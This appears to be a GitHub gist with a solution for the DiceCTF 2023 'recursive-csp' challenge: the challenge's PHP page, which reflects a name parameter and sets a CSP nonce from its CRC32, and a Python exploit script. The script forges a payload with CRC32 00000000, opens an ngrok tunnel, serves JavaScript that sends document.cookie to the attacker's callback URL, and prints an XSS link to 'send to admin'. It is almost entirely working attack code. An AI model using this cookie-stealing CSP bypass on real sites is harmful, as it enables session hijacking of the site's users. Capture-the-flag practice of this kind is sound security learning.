Skip to content

Instantly share code, notes, and snippets.

@aljazmedic
Last active February 7, 2023 17:18
Show Gist options
  • Save aljazmedic/57a8a3493a847ce753b4a728945bae77 to your computer and use it in GitHub Desktop.
Save aljazmedic/57a8a3493a847ce753b4a728945bae77 to your computer and use it in GitHub Desktop.
DiceCTF 2023 - Recursive CSP - solution script
<?php
if (isset($_GET["source"])) highlight_file(__FILE__) && die();
$name = "world";
if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
$name = $_GET["name"];
}
$nonce = hash("crc32b", $name);
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>
<!DOCTYPE html>
<html>
<head>
<title>recursive-csp</title>
</head>
<body>
<h1>Hello, <?php echo $name ?>!</h1>
<h3>Enter your name:</h3>
<form method="GET">
<input type="text" placeholder="name" name="name" />
<input type="submit" />
</form>
<!-- /?source -->
</body>
</html>
import subprocess
from urllib.parse import quote
import os
from binascii import crc32
from itertools import product
import random
from pyngrok import ngrok
import tempfile
SPOOFDIR = "/opt/spoof_crc"
WORKDIR = tempfile.mkdtemp()
ATTACK_WEBSITE = "https://recursive-csp.mc.ax"
PORT = random.randint(1000, 9999)
print("Using workdir:", WORKDIR)
# Create ngrok tunnel
ngrok_tunnel = ngrok.connect(
PORT, 'http', bind_tls=True) # Don't forget bind_tls!
ngrok_public_url = ngrok_tunnel.public_url
print("Ngrok public url:", ngrok_public_url)
# Create payload
PAD_CHAR = "b"
payload = f"<script nonce=00000000 src=\"{ngrok_public_url}/s.js\"></script>" + 'b'*6
with open(f"{WORKDIR}/payload", "w") as wf:
wf.write(payload)
# Do the spoofing
def generate_spoof_conf(msg_in: bytes):
msg_len = len(msg_in)
b_start = msg_len - 6
bit_pos = [f'{bytepos} {bitpos}'
for bytepos, bitpos in product(range(b_start, msg_len), (0, 1, 2, 3, 4, 6))]
x_crc = f"{crc32(msg_in):08x}"
print("Initial CRC:", x_crc)
with open(f"{WORKDIR}/conf", "w") as wf:
wf.write("32 04c11db7 1\n")
wf.write(f"{x_crc} {msg_len}\n")
wf.write('\n'.join(bit_pos))
generate_spoof_conf(payload.encode('ascii'))
os.system(
f"{SPOOFDIR}/spoof < {WORKDIR}/conf | {SPOOFDIR}/flip {WORKDIR}/payload"
)
with open(f"{WORKDIR}/payload") as rf:
payload = rf.read()
# Now crc32(payload) = 00000000
# Generating malicious javascript
def generate_javascript(ngrok_url: str):
script = f"""
CALLBACK_URL = "{ngrok_url}";
document.write('<script nonce=00000000 src="'+CALLBACK_URL+'?cookie='+encodeURI(document.cookie)+'"></script>');
""".strip()
with open(f"{WORKDIR}/s.js", "w") as wf:
wf.write(script)
generate_javascript(ngrok_public_url)
# We are ready to serve our evilness
srv = subprocess.Popen(["python3", "-m", "http.server",
str(PORT)], cwd=WORKDIR)
# urlencode the payload
payload = quote(payload)
print("\n\nSend this to admin:\n")
print(f"{ATTACK_WEBSITE}/?name={payload}\n\n")
try:
input("Press enter to exit\n")
except KeyboardInterrupt:
pass
srv.send_signal(subprocess.signal.SIGINT)
srv.wait()
ngrok.kill()
# Remove WORKDIR
try:
os.system(f"rm -rf {WORKDIR}")
except:
print("Failed to remove workdir")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment